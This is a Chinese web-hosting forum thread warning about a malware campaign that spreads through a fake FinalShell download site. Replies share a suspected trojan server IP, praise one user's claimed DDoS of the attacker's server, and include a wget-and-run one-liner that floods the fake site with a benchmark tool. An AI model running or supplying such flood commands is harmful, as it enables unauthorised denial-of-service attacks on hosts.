全球主机交流论坛

标题: 发现新恶意团伙"紫狐"!针对finalshell的供应链事件 [打印本页]

作者: LYCX2015    时间: 2023-11-7 23:29
标题: 发现新恶意团伙"紫狐"!针对finalshell的供应链事件
https://mp.weixin.qq.com/s/rAsN9k5fdI5nf9sJ4kZVTw


大家下载时,注意分辨。
作者: 念念不忘    时间: 2023-11-7 23:33
感谢提醒,不过已经不用它了
作者: 西山尘    时间: 2023-11-7 23:33
在执行流程中,可追溯到这个IP:107.148.48.35

这个 IP 来自于 install_8.exe ,此时再结合沙箱释放文本中的检出,大概可以实锤这个 install_8.exe 是木马了


107.148.48.35 PEG TECH INC
raksmart.com
作者: sunwade266    时间: 2023-11-7 23:50
感觉分析的有点专业啊
作者: yaa    时间: 2023-11-8 08:03
没用过这货;无影响。


作者: cqmmc    时间: 2023-11-8 08:06
居然认真的看完了!!
作者: 长泰    时间: 2023-11-8 08:08
冒充官网 还骗过Google 估计很多中招
作者: acm    时间: 2023-11-8 08:08
这种东西我都直接记住域名,搜索引擎会出来一堆牛鬼蛇神
认准hostbuf.com
作者: cany    时间: 2023-11-8 08:15
我给他释放木马用的服务器D死了
作者: weixiangnan    时间: 2023-11-8 08:17
cany 发表于 2023-11-8 08:15
我给他释放木马用的服务器D死了

干得漂亮
作者: ceplavia    时间: 2023-11-8 08:20
哪有装生产用软件叫装环境的
作者: [MJJ]    时间: 2023-11-8 08:21
感谢提醒,早就不用了
作者: waiwaiwq    时间: 2023-11-8 08:24
cany 发表于 2023-11-8 08:15
我给他释放木马用的服务器D死了

多少G就打死了?

作者: monk29    时间: 2023-11-8 08:25
cany 发表于 2023-11-8 08:15
我给他释放木马用的服务器D死了

支持50K哥
作者: cany    时间: 2023-11-8 08:26
waiwaiwq 发表于 2023-11-8 08:24
多少G就打死了?

不知道多少G,香港服务器,一碰就没了
作者: tylup    时间: 2023-11-8 08:28
cany 发表于 2023-11-8 08:26
不知道多少G,香港服务器,一碰就没了

威武
作者: caigou    时间: 2023-11-8 08:34
cany 发表于 2023-11-8 08:15
我给他释放木马用的服务器D死了

大哥牛逼
作者: caigou    时间: 2023-11-8 08:35
acm 发表于 2023-11-8 08:08
这种东西我都直接记住域名,搜索引擎会出来一堆牛鬼蛇神
认准hostbuf.com

话说回来, 要不是这个文章,我一定会点击finalshell.org的...
作者: Benladen    时间: 2023-11-8 08:42
服务期已挂?
作者: Benladen    时间: 2023-11-8 08:44
wget https://github.com/maintell/webBenchmark/releases/download/0.5/webBenchmark_linux_x64
chmod +x webBenchmark_linux_x64
./webBenchmark_linux_x64 -c 32 -s https://finalshell.org/downloads/finalshell_install.pkg
作者: acm    时间: 2023-11-8 09:44
caigou 发表于 2023-11-8 08:35
话说回来, 要不是这个文章,我一定会点击finalshell.org的...

第一次肯定会犯迷糊
作者: LYCX2015    时间: 2023-11-8 11:19
cany 发表于 2023-11-8 08:15
我给他释放木马用的服务器D死了

就喜欢人狠话不多的大佬
作者: tomcb    时间: 2023-11-8 11:43
老用户都知道作者官网长什么样,就怕新用户可能会中招。
作者: wzw    时间: 2023-11-8 11:45
cany 发表于 2023-11-8 08:15
我给他释放木马用的服务器D死了

还得是你
作者: 直男    时间: 2023-11-8 11:47
这玩意儿的网站居然在谷歌拍第二名,
作者: 三月七    时间: 2023-11-8 12:20
已经上cf了,十有**这些玩意儿都潜伏在loc里面
作者: googleseo    时间: 2023-11-8 20:23
cany 发表于 2023-11-8 08:15
我给他释放木马用的服务器D死了

正义之举
作者: xftaw    时间: 2023-11-8 20:24




小尾巴~~~~~

看签名>>>




欢迎光临 全球主机交流论坛 (https://443502.xyz/) Powered by Discuz! X3.4